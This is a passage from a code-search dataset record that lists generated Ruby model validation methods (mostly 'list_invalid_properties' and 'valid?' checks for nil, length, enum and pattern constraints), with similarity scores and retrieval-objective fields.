"def list_invalid_properties\n invalid_properties = Array.new\n if @input_currency.nil?\n invalid_properties.push('invalid value for \"input_currency\", input_currency cannot be nil.')\n end\n\n if @sender.nil?\n invalid_properties.push('invalid value for \"sender\", sender cannot be nil.')\n end\n\n if @recipients.nil?\n invalid_properties.push('invalid value for \"recipients\", recipients cannot be nil.')\n end\n\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = super\n if @index.nil?\n invalid_properties.push('invalid value for \"index\", index cannot be nil.')\n end\n\n if @orientation.nil?\n invalid_properties.push('invalid value for \"orientation\", orientation cannot be nil.')\n end\n\n if @size.nil?\n invalid_properties.push('invalid value for \"size\", size cannot be nil.')\n end\n\n if @type.nil?\n invalid_properties.push('invalid value for \"type\", type cannot be nil.')\n end\n\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = super\n if @direction.nil?\n invalid_properties.push('invalid value for \"direction\", direction cannot be nil.')\n end\n\n if @shape.nil?\n invalid_properties.push('invalid value for \"shape\", shape cannot be nil.')\n end\n\n if @linear_angle.nil?\n invalid_properties.push('invalid value for \"linear_angle\", linear_angle cannot be nil.')\n end\n\n if @is_scaled.nil?\n invalid_properties.push('invalid value for \"is_scaled\", is_scaled cannot be nil.')\n end\n\n if @tile_flip.nil?\n invalid_properties.push('invalid value for \"tile_flip\", tile_flip cannot be nil.')\n end\n\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n if @format.nil?\n invalid_properties.push('invalid value for \"format\", format cannot be nil.')\n end\n\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end"
] | [
"0.76480395",
"0.76480395",
"0.76480395",
"0.76480395",
"0.76357543",
"0.76357543",
"0.76357543",
"0.76357543",
"0.76357543",
"0.76357543",
"0.76357543",
"0.76357543",
"0.73546803",
"0.7333273",
"0.72667927",
"0.7237672",
"0.7230264",
"0.72240895",
"0.7206086",
"0.71745956",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422"
] | 0.0 | -1 |
Check to see if the all the properties in the model are valid | def valid?
return false if @default_department_id.nil?
return false if !@default_email.nil? && @default_email.to_s.length > 250
return false if @default_location_id.nil?
return false if !@default_phone.nil? && @default_phone.to_s.length > 15
return false if @expense_approver.nil?
return false if @first_name.nil?
return false if @first_name.to_s.length > 30
return false if !@home_email.nil? && @home_email.to_s.length > 250
return false if !@home_extension.nil? && @home_extension.to_s.length > 10
return false if !@home_phone.nil? && @home_phone.to_s.length > 15
return false if @identifier.nil?
return false if @identifier.to_s.length > 15
return false if @last_name.nil?
return false if @last_name.to_s.length > 30
return false if @license_class.nil?
license_class_validator = EnumAttributeValidator.new('String', ["F", "A", "C", "X"])
return false unless license_class_validator.valid?(@license_class)
return false if !@mobile_email.nil? && @mobile_email.to_s.length > 250
return false if !@mobile_extension.nil? && @mobile_extension.to_s.length > 10
return false if !@mobile_phone.nil? && @mobile_phone.to_s.length > 15
return false if !@office_email.nil? && @office_email.to_s.length > 250
return false if !@office_extension.nil? && @office_extension.to_s.length > 10
return false if !@office_phone.nil? && @office_phone.to_s.length > 15
return false if @sales_default_location_id.nil?
return false if @time_approver.nil?
return false if @time_zone.nil?
return false if [email protected]? && @title.to_s.length > 50
return false if @work_role.nil?
return true
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def validate_properties\n true\n end",
"def validate_properties\n true\n end",
"def validate\n super\n\n check_optional_property :collection, String\n check_optional_property :create, String\n check_optional_property :delete, String\n check_optional_property :flush, String\n check_optional_property :prefetch, String\n check_optional_property :request_to_query, String\n check_optional_property :resource_to_request_patch, String\n check_optional_property :return_if_object, String\n check_optional_property :self_link, String\n end",
"def valid_attributes?\n true\n end",
"def valid_attributes?\n attribute_errors.empty?\n end",
"def valid?\n return false if @property_code.nil?\n return false if @property_name.nil?\n return false if @location.nil?\n return false if @total_price.nil?\n return false if @min_daily_rate.nil?\n return true\n end",
"def validate_presence_of(klazz, properties)\r\n instance = klazz.new \r\n instance.should_not be_valid\r\n \r\n properties.each do |property| \r\n instance.errors.should be_invalid(property)\r\n err_properties = instance.errors[property]\r\n if err_properties.is_a? Array\r\n err_properties.include?(ActiveRecord::Errors.default_error_messages[:blank]).should be_true\r\n else\r\n err_properties.should == ActiveRecord::Errors.default_error_messages[:blank] \r\n end\r\n end \r\n end",
"def validate_attributes!(attributes)\n invalid_properties = attributes.keys.map(&:to_s) - self.attributes.keys\n raise UndefinedPropertyError, \"Undefined properties: #{invalid_properties.join(',')}\" if invalid_properties.size > 0\n end",
"def model_valid?\n true\n end",
"def model_valid?\n true\n end",
"def valid?\n self.errors = []\n self.content_type.fields.each do |field|\n if field.required\n if self.dynamic_getter(field.name).blank?\n self.errors << field.name\n end\n end\n end\n self.errors.blank?\n end",
"def valid?\n validate\n @model.errors.on(:preferences).blank?\n end",
"def validate_properties\n if @properties.keys.count > 0\n if @properties.key?(:label)\n unless @properties[:label] =~ /^[a-zA-Z][\\w|\\s]*$/\n raise 'property label validation error'\n end\n end\n\n if @properties.key?(:default_aggregate)\n unless @properties[:default_aggregate] =~ /^max$|^min$|^avg$|^count$/i\n raise 'property default_aggregate validation error'\n end\n end\n end\n end",
"def validate_properties\n @properties.each do |property, values|\n valid_values = validate_values(property, values)\n\n if valid_values.is_a?(Array) && valid_values == [] || valid_values.nil?\n @properties.delete(property)\n else\n @properties[property] = valid_values\n end\n end\n end",
"def validate\n valid?\n end",
"def validate_attributes!(attributes)\n return attributes if attributes.blank?\n invalid_properties = attributes.keys.map(&:to_s) - self.attributes.keys\n invalid_properties.reject! { |name| self.respond_to?(\"#{name}=\") }\n fail UndefinedPropertyError, \"Undefined properties: #{invalid_properties.join(',')}\" if !invalid_properties.empty?\n end",
"def is_valid; end",
"def valid?\n # TODO validate nested objects\n output = super\n errors.empty? && output\n end",
"def property_checks\n errors.add(:base, \"You can't have a Thing without properties\") if property_keys.empty?\n\n self.property_keys.each do |key|\n errors.add(:properties, \"'#{key}' is an invalid property for this List\") unless available_property_keys.include?(key)\n end\n end",
"def valid_for_attributes( model, attributes )\n unless model.valid?\n errors = model.errors\n our_errors = Array.new\n errors.each { |attr,error|\n if attributes.include? attr\n our_errors << [attr,error]\n end\n }\n errors.clear\n our_errors.each { |attr,error| errors.add(attr,error) }\n return false unless errors.empty?\n end\n return true\n end",
"def valid?\n type_validator = EnumAttributeValidator.new('String', [\"person\", \"business\"])\n return false unless type_validator.valid?(@type)\n return false if @country.nil?\n return false if @street.nil?\n return false if @postal_code.nil?\n return false if @city.nil?\n return false if @email.nil?\n return false if @ip.nil?\n identification_type_validator = EnumAttributeValidator.new('String', [\"DL\", \"PP\", \"ID\", \"OT\"])\n return false unless identification_type_validator.valid?(@identification_type)\n legal_entity_type_validator = EnumAttributeValidator.new('String', [\"sole_proprietorship\", \"partnership\", \"privately_owned_company\", \"publicly_owned_company\", \"government_owned_entity\", \"trust\", \"ngo\", \"club_and_society\", \"go\", \"other\", \"financial_institution\", \"mto\"])\n return false unless legal_entity_type_validator.valid?(@legal_entity_type)\n nature_of_business_validator = EnumAttributeValidator.new('String', [\"personal\", \"agriculture_and_hunting\", \"forestry\", \"fishing\", \"agricultural_by_products\", \"coal_mining\", \"oil_mining\", \"iron_ore_mining\", \"other_metal_and_diamond_mining\", \"other_mineral_mining\", \"manufacturing_of_food_drink_tobacco\", \"manufacturing_of_textiles_leather_fur_furniture\", \"manufacture_of_wooden_products_furniture\", \"manufacture_of_paper_pulp_allied_products\", \"manufacture_of_chemicals_medical_petroleum_rubber_plastic_products\", \"manufacture_of_pottery_china_glass_stone\", \"manufacture_of_iron_steel_non_ferrous_metals_basic_industries\", \"manufacture_of_metal_products_electrical_and_scientific_engineering\", \"manufacture_of_jewelry_musical_instruments_toys\", \"electricity_gas_and_water\", \"construction\", \"wholesale_trade\", \"retail_trade\", \"catering_incl_hotels\", \"transport_storage\", \"communications\", \"finance_and_holding_companies\", \"insurance\", \"business_services\", \"real_estate_development_investment\", \"central_state_governments\", \"community_services_defence_police_prisons_etc\", \"social_services_education_health_care\", \"personal_services_leisure_services\", \"personal_services_domestic_laundry_repairs\", \"personal_services_embassies_international_organisations\"])\n return false unless nature_of_business_validator.valid?(@nature_of_business)\n return false if @documents.nil?\n gender_validator = EnumAttributeValidator.new('String', [\"M\", \"F\", \"O\"])\n return false unless gender_validator.valid?(@gender)\n true\n end",
"def valid?\n return false if !super\n return false if @index.nil?\n return false if @orientation.nil?\n orientation_validator = EnumAttributeValidator.new('String', ['Horizontal', 'Vertical'])\n return false unless orientation_validator.valid?(@orientation)\n return false if @size.nil?\n size_validator = EnumAttributeValidator.new('String', ['Full', 'Half', 'Quarter'])\n return false unless size_validator.valid?(@size)\n return false if @type.nil?\n type_validator = EnumAttributeValidator.new('String', ['Title', 'Body', 'CenteredTitle', 'Subtitle', 'DateAndTime', 'SlideNumber', 'Footer', 'Header', 'Object', 'Chart', 'Table', 'ClipArt', 'Diagram', 'Media', 'SlideImage', 'Picture'])\n return false unless type_validator.valid?(@type)\n true\n end",
"def validate\n validate_string_attributes\n @relations.map(&:validate)\n end",
"def is_valid?\n end",
"def run_validations\n true\n end",
"def validate\n validate_params\n validate_colour\n validate_coordinates\n validate_dimension\n end",
"def checkAttributeRequirements\n if @valid_attributes.empty?\n @error_text = \"No valid attributes found\"\n return false\n elsif (@mandatory_attributes_from_db & @valid_attributes) != @mandatory_attributes_from_db\n missing_attr = @mandatory_attributes_from_db - (@mandatory_attributes_from_db & @valid_attributes)\n\n x_attr_txt = \"\"\n missing_attr.each {|x_attr| x_attr_txt += x_attr[:name] + \", \"}\n @error_text = \"Mandatory attributes #{x_attr_txt[0..-3]} is/are missing\"\n return false\n end\n\n return true\n end",
"def validations\n {}\n end",
"def validatable?\n true\n end",
"def validate\n validate_params\n validate_coordinates\n validate_colour\n validate_dimension\n end",
"def validate_required\n [\n :project_name,\n :status,\n :requester_id,\n :subject_expert_id,\n :sponsor_id,\n :vision,\n :goal,\n :description,\n :scope,\n :advice_required,\n :program_id,\n :train_id,\n :funding_method,\n :cost_center,\n :funding_status,\n :budget_allocated,\n :priority,\n :start_date,\n :end_date,\n :risk_rating,\n :risks,\n :projected_revenue,\n ].each do |field|\n if self.attributes[field.to_s].nil? || self.attributes[field.to_s].blank?\n # intentionally vague!\n add_validation 'All fields are required to perform further validations'\n return false\n end\n end\n true\n end",
"def validate\n validate_root\n validate_associated\n valid?\n end",
"def validate\n true\n end",
"def valid?\n return false if @id.nil?\n return false if @created.nil?\n return false if @modified.nil?\n return false if @company_name.nil?\n return false if @company_name.to_s.length < 1\n return false if @domain_name.nil?\n return false if @state.nil?\n state_validator = EnumAttributeValidator.new('String', [\"active\", \"deactivated\"])\n return false unless state_validator.valid?(@state)\n return false if @billing_email.nil?\n return false if @application_count.nil?\n return false if @user_count.nil?\n return false if @campaigns_active_count.nil?\n return false if @campaigns_inactive_count.nil?\n true\n end",
"def valid?\n _errors_before = self.errors.dup\n _s = super\n validate_attributes\n _errors_before.each { |e| append_error(_errors_before,e) }\n self.errors.empty?\n end",
"def valid?\n true\n end",
"def validate!\n expected_props, required_props = @properties.keys, @required\n\n unless is_a?(Dialect) || is_a?(Template)\n expected_props = expected_props + INHERITED_PROPERTIES.keys\n end\n\n # It has only expected properties (exclude metadata)\n keys = self.keys - [:\"@context\"]\n keys = keys.reject {|k| k.to_s.include?(':')} unless is_a?(Dialect)\n raise \"#{type} has unexpected keys: #{keys - expected_props}\" unless keys.all? {|k| expected_props.include?(k)}\n\n # It has required properties\n raise \"#{type} missing required keys: #{required_props & keys}\" unless (required_props & keys) == required_props\n\n # Every property is valid\n keys.each do |key|\n value = self[key]\n is_valid = case key\n when :columns\n column_names = value.map(&:name)\n value.is_a?(Array) &&\n value.all? {|v| v.is_a?(Column) && v.validate!} &&\n begin\n # The name properties of the column descriptions must be unique within a given table description.\n column_names = value.map(&:name)\n raise \"Columns must have unique names\" if column_names.uniq != column_names\n true\n end\n when :commentPrefix then value.is_a?(String) && value.length == 1\n when :datatype then value.is_a?(String) && DATATYPES.keys.map(&:to_s).include?(value)\n when :default then value.is_a?(String)\n when :delimiter then value.is_a?(String) && value.length == 1\n when :dialect then value.is_a?(Dialect) && value.validate!\n when :doubleQuote then %w(true false 1 0).include?(value.to_s.downcase)\n when :encoding then Encoding.find(value)\n when :foreignKeys\n # An array of foreign key definitions that define how the values from specified columns within this table link to rows within this table or other tables. A foreign key definition is a JSON object with the properties:\n value.is_a?(Array) && value.all? do |fk|\n raise \"Foreign key must be an object\" unless fk.is_a?(Hash)\n columns, reference = fk['columns'], fk['reference']\n raise \"Foreign key missing columns and reference\" unless columns && reference\n raise \"Foreign key has extra entries\" unless fk.keys.length == 2\n raise \"Foreign key must reference columns\" unless Array(columns).all? {|k| self.columns.any? {|c| c.name == k}}\n raise \"Foreign key reference must be an Object\" unless reference.is_a?(Hash)\n\n if reference.has_key?('resource')\n raise \"Foreign key having a resource reference, must not have a schema\" if reference.has_key?('schema')\n # FIXME resource is a URL of a specific resource (table) which must exist\n elsif reference.has_key?('schema')\n # FIXME schema is a URL of a specific schema which must exist\n end\n # FIXME: columns\n true\n end\n when :format then value.is_a?(String)\n when :header then %w(true false 1 0).include?(value.to_s.downcase)\n when :headerColumnCount, :headerRowCount\n value.is_a?(Numeric) && value.integer? && value > 0\n when :length\n # Applications must raise an error if length, maxLength or minLength are specified and the cell value is not a list (ie separator is not specified), a string or one of its subtypes, or a binary value.\n raise \"Use if minLength or maxLength with length requires separator\" if self[:minLength] || self[:maxLength] && !self[:separator]\n raise \"Use of both length and minLength requires they be equal\" unless self.fetch(:minLength, value) == value\n raise \"Use of both length and maxLength requires they be equal\" unless self.fetch(:maxLength, value) == value\n value.is_a?(Numeric) && value.integer? && value > 0\n when :language then BCP47::Language.identify(value)\n when :lineTerminator then value.is_a?(String)\n when :minimum, :maximum, :minInclusive, :maxInclusive, :minExclusive, :maxExclusive\n value.is_a?(Numeric) ||\n RDF::Literal::Date.new(value).valid? ||\n RDF::Literal::Time.new(value).valid? ||\n RDF::Literal::DateTime.new(value).valid?\n when :minLength, :maxLength\n value.is_a?(Numeric) && value.integer? && value > 0\n when :name then value.is_a?(String) && !name.start_with?(\"_\")\n when :notes then value.is_a?(Array) && value.all? {|v| v.is_a?(Hash)}\n when :null then value.is_a?(String)\n when :predicateUrl then Array(value).all? {|v| RDF::URI(v).valid?}\n when :primaryKey\n # A column reference property that holds either a single reference to a column description object or an array of references.\n Array(value).all? do |k|\n self.columns.any? {|c| c.name == k}\n end\n when :quoteChar then value.is_a?(String) && value.length == 1\n when :required then %w(true false 1 0).include?(value.to_s.downcase)\n when :resources then value.is_a?(Array) && value.all? {|v| v.is_a?(Table) && v.validate!}\n when :schema then value.is_a?(Schema) && value.validate!\n when :separator then value.nil? || value.is_a?(String) && value.length == 1\n when :skipInitialSpace then %w(true false 1 0).include?(value.to_s.downcase)\n when :skipBlankRows then %w(true false 1 0).include?(value.to_s.downcase)\n when :skipColumns then value.is_a?(Numeric) && value.integer? && value >= 0\n when :skipRows then value.is_a?(Numeric) && value.integer? && value >= 0\n when :source then %w(json rdf).include?(value)\n when :\"table-direction\" then %w(rtl ltr default).include?(value)\n when :targetFormat, :templateFormat then RDF::URI(value).valid?\n when :templates then value.is_a?(Array) && value.all? {|v| v.is_a?(Template) && v.validate!}\n when :\"text-direction\" then %w(rtl ltr).include?(value)\n when :title then valid_natural_language_property?(value)\n when :trim then %w(true false 1 0 start end).include?(value.to_s.downcase)\n when :urlTemplate then value.is_a?(String)\n when :@id then @id.valid?\n when :@type then value.to_sym == type\n else\n raise \"?!?! shouldn't get here for key #{key}\"\n end\n raise \"#{type} has invalid #{key}: #{value.inspect}\" unless is_valid\n end\n\n self\n end",
"def valid?\n return false if @subject_property.nil?\n return false if @proprietorship.nil?\n proprietorship_validator = EnumAttributeValidator.new('String', [\"Unknown\", \"Sole\", \"Joint\"])\n return false unless proprietorship_validator.valid?(@proprietorship)\n return false if @surname.nil?\n return false if @forename.nil?\n return false if @middle_name.nil?\n return true\n end",
"def valid?\n return false if @class_id.nil?\n class_id_validator = EnumAttributeValidator.new('String', [\"cond.HclStatusDetail\"])\n return false unless class_id_validator.valid?(@class_id)\n return false if @object_type.nil?\n object_type_validator = EnumAttributeValidator.new('String', [\"cond.HclStatusDetail\"])\n return false unless object_type_validator.valid?(@object_type)\n hardware_status_validator = EnumAttributeValidator.new('String', [\"Missing-Os-Driver-Info\", \"Incompatible-Server-With-Component\", \"Incompatible-Processor\", \"Incompatible-Os-Info\", \"Incompatible-Component-Model\", \"Incompatible-Firmware\", \"Incompatible-Driver\", \"Incompatible-Firmware-Driver\", \"Service-Unavailable\", \"Service-Error\", \"Unrecognized-Protocol\", \"Not-Evaluated\", \"Compatible\"])\n return false unless hardware_status_validator.valid?(@hardware_status)\n reason_validator = EnumAttributeValidator.new('String', [\"Missing-Os-Driver-Info\", \"Incompatible-Server-With-Component\", \"Incompatible-Processor\", \"Incompatible-Os-Info\", \"Incompatible-Component-Model\", \"Incompatible-Firmware\", \"Incompatible-Driver\", \"Incompatible-Firmware-Driver\", \"Service-Unavailable\", \"Service-Error\", \"Unrecognized-Protocol\", \"Not-Evaluated\", \"Compatible\"])\n return false unless reason_validator.valid?(@reason)\n software_status_validator = EnumAttributeValidator.new('String', [\"Missing-Os-Driver-Info\", \"Incompatible-Server-With-Component\", \"Incompatible-Processor\", \"Incompatible-Os-Info\", \"Incompatible-Component-Model\", \"Incompatible-Firmware\", \"Incompatible-Driver\", \"Incompatible-Firmware-Driver\", \"Service-Unavailable\", \"Service-Error\", \"Unrecognized-Protocol\", \"Not-Evaluated\", \"Compatible\"])\n return false unless software_status_validator.valid?(@software_status)\n status_validator = EnumAttributeValidator.new('String', [\"Incomplete\", \"Not-Found\", \"Not-Listed\", \"Validated\", \"Not-Evaluated\"])\n return false unless status_validator.valid?(@status)\n true && super\n end",
"def core_attributes_valid\n core_attributes = [@rateable, @rater, @ratee, @rating_type]\n return if core_attributes.all? { |atr| atr.present? && atr.valid? }\n errors.add('message', 'Not all core attributes present and valid.')\n end",
"def valid?\n super\n errors.empty?\n end",
"def valid?\n \n if @account_id.nil?\n false\n elsif @campaign_id.nil?\n false\n elsif @csp_id.nil?\n false\n elsif @status.nil?\n false\n elsif @create_date.nil?\n false\n elsif @auto_renewal.nil?\n false\n elsif @brand_id.nil?\n false\n elsif @usecase.nil?\n false\n elsif @sub_usecases.nil?\n false\n elsif @description.nil?\n false\n elsif @embedded_link.nil?\n false\n elsif @embedded_phone.nil?\n false\n elsif @affiliate_marketing.nil?\n false\n elsif @number_pool.nil?\n false\n elsif @age_gated.nil?\n false\n elsif @direct_lending.nil?\n false\n elsif @subscriber_optin.nil?\n false\n elsif @subscriber_optout.nil?\n false\n elsif @subscriber_help.nil?\n false\n elsif @sample1.nil?\n false\n elsif @mock.nil?\n false\n else\n list_invalid_properties.length() == 0\n end\n end",
"def valid?(metadata)\n validate.each do |attr|\n return false if metadata[attr.to_sym].nil? || metadata[attr.to_sym].zero?\n end\n end",
"def is_valid\n return true\n end",
"def validate_attrs\n @target.present? && [email protected]? && @actor.present? && @action_key.present?\n end",
"def list_invalid_properties\n invalid_properties = super\n if @class_id.nil?\n invalid_properties.push('invalid value for \"class_id\", class_id cannot be nil.')\n end\n\n if @object_type.nil?\n invalid_properties.push('invalid value for \"object_type\", object_type cannot be nil.')\n end\n\n if [email protected]? && @name.to_s.length > 31\n invalid_properties.push('invalid value for \"name\", the character length must be smaller than or equal to 31.')\n end\n\n pattern = Regexp.new(/^[a-zA-Z0-9\\-\\._:]+$/)\n if [email protected]? && @name !~ pattern\n invalid_properties.push(\"invalid value for \\\"name\\\", must conform to the pattern #{pattern}.\")\n end\n\n pattern = Regexp.new(/^$|((^20|5[0-9a-fA-F]{1}):([0-9a-fA-F]{2}:){6}([0-9a-fA-F]{2}))/)\n if !@static_wwpn_address.nil? && @static_wwpn_address !~ pattern\n invalid_properties.push(\"invalid value for \\\"static_wwpn_address\\\", must conform to the pattern #{pattern}.\")\n end\n\n pattern = Regexp.new(/^$|((^20|5[0-9a-fA-F]{1}):([0-9a-fA-F]{2}:){6}([0-9a-fA-F]{2}))/)\n if [email protected]? && @wwpn !~ pattern\n invalid_properties.push(\"invalid value for \\\"wwpn\\\", must conform to the pattern #{pattern}.\")\n end\n\n invalid_properties\n end",
"def valid_save?\n valid = true\n\n if self.name.nil? || self.name == \"\"\n valid = false\n end\n\n if self.general_info.nil? || self.general_info == \"\"\n valid = false\n end\n\n if self.technical_specs.nil? || self.technical_specs == \"\"\n valid = false\n end\n\n if self.where_to_buy.nil? || self.where_to_buy == \"\"\n valid = false\n end\n\n return valid\n end",
"def valid?\n schema.validate(self)\n end",
"def valid?\n reset_errors\n valid_date?\n valid_user?\n valid_activity_type?\n self.errors.empty?\n end",
"def valid?\n validate\n end",
"def product_attributes_must_not_be_empty\n\n\t\t# Instance\n\t\tproduct = Product.new\n\n\t\tassert product.invalid?\n\t\tassert product.errors[:title].any?\n\t\tassert product.errors[:description].any?\n\t\tassert product.errors[:price].any?\n\t\tassert product.errors[:image_url].any?\n\tend",
"def valid?\n return false if @id.nil?\n return false if @id !~ Regexp.new(/^psc_[a-zA-Z0-9]+$/)\n carrier_validator = EnumAttributeValidator.new('String', [\"USPS\"])\n return false unless carrier_validator.valid?(@carrier)\n return false if !@front_template_id.nil? && @front_template_id !~ Regexp.new(/^tmpl_[a-zA-Z0-9]+$/)\n return false if !@back_template_id.nil? && @back_template_id !~ Regexp.new(/^tmpl_[a-zA-Z0-9]+$/)\n return false if !@front_template_version_id.nil? && @front_template_version_id !~ Regexp.new(/^vrsn_[a-zA-Z0-9]+$/)\n return false if !@back_template_version_id.nil? && @back_template_version_id !~ Regexp.new(/^vrsn_[a-zA-Z0-9]+$/)\n object_validator = EnumAttributeValidator.new('String', [\"postcard\"])\n return false unless object_validator.valid?(@object)\n return false if @url.nil?\n return false if @url !~ Regexp.new(/^https:\\/\\/(lob-assets|lob-assets-staging)\\.com\\/(letters|postcards|bank-accounts|checks|self-mailers|cards)\\/[a-z]{3,4}_[a-z0-9]{15,16}(\\.pdf|_thumb_[a-z]+_[0-9]+\\.png)\\?(version=[a-z0-9-]*&)?expires=[0-9]{10}&signature=[a-zA-Z0-9_-]+$/)\n return false if [email protected]? && @description.to_s.length > 255\n true\n end",
